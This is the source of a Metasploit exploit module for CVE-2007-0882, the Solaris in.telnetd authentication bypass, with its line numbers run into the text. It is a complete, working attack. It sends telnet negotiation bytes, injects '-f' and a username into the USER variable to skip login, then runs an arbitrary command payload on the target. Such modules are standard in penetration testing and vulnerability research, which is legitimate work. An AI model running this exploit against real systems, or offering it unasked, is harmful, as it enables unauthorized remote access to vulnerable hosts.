Path: blob/master/modules/exploits/solaris/telnet/fuser.rb
19758 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Sun Solaris Telnet Remote Authentication Bypass Vulnerability',15'Description' => %q{16This module exploits the argument injection vulnerability17in the telnet daemon (in.telnetd) of Solaris 10 and 11.18},19'Author' => [ 'MC' ],20'License' => MSF_LICENSE,21'References' => [22[ 'CVE', '2007-0882' ],23[ 'OSVDB', '31881'],24[ 'BID', '22512' ],25],26'Privileged' => false,27'Platform' => %w[solaris unix],28'Arch' => ARCH_CMD,29'Payload' => {30'Space' => 2000,31'BadChars' => '',32'DisableNops' => true,33'Compat' => {34'PayloadType' => 'cmd',35'RequiredCmd' => 'generic perl telnet'36}37},38'Targets' => [39['Automatic', {}],40],41'DisclosureDate' => '2007-02-12',42'DefaultTarget' => 0,43'Notes' => {44'Stability' => [CRASH_SAFE],45'Reliability' => [REPEATABLE_SESSION],46'SideEffects' => [IOC_IN_LOGS]47}48)49)5051register_options([52Opt::RPORT(23),53OptString.new('USER', [ true, 'The username to use', 'bin' ]),54])55end5657def exploit58connect5960print_status('Setting USER environment variable...')6162req = "\xFF\xFD\x26\xFF\xFB\x26\xFF\xFD\x03\xFF\xFB"63req << "\x18\xFF\xFB\x1F\xFF\xFB\x20\xFF\xFB\x21\xFF"64req << "\xFB\x22\xFF\xFB\x27\xFF\xFD\x05"6566sock.put(req)67sock.get_once6869req << "\xFF\xFC\x25"7071sock.put(req)72sock.get_once7374req << "\xFF\xFA\x26\x01\x01\x02\xFF\xF0"7576sock.put(req)77sock.get_once7879req << "\xFF\xFA\x1F\x00\x50\x00\x18\xFF\xF0"8081sock.put(req)82sock.get_once8384req << "\xFF\xFE\x26\xFF\xFC\x23\xFF\xFC\x24"8586sock.put(req)87sock.get_once8889req = "\xFF\xFA\x18\x00\x58\x54\x45\x52\x4D\xFF"90req << "\xF0\xFF\xFA\x27\x00\x00\x55\x53\x45\x52"91req << "\x01\x2D\x66" + datastore['USER'] + "\xFF\xF0"9293sock.put(req)94sock.get_once95select(nil, nil, nil, 0.25)9697sock.put("nohup #{payload.encoded} >/dev/null 2>&1\n")9899select(nil, nil, nil, 0.25)100101handler102end103end104105106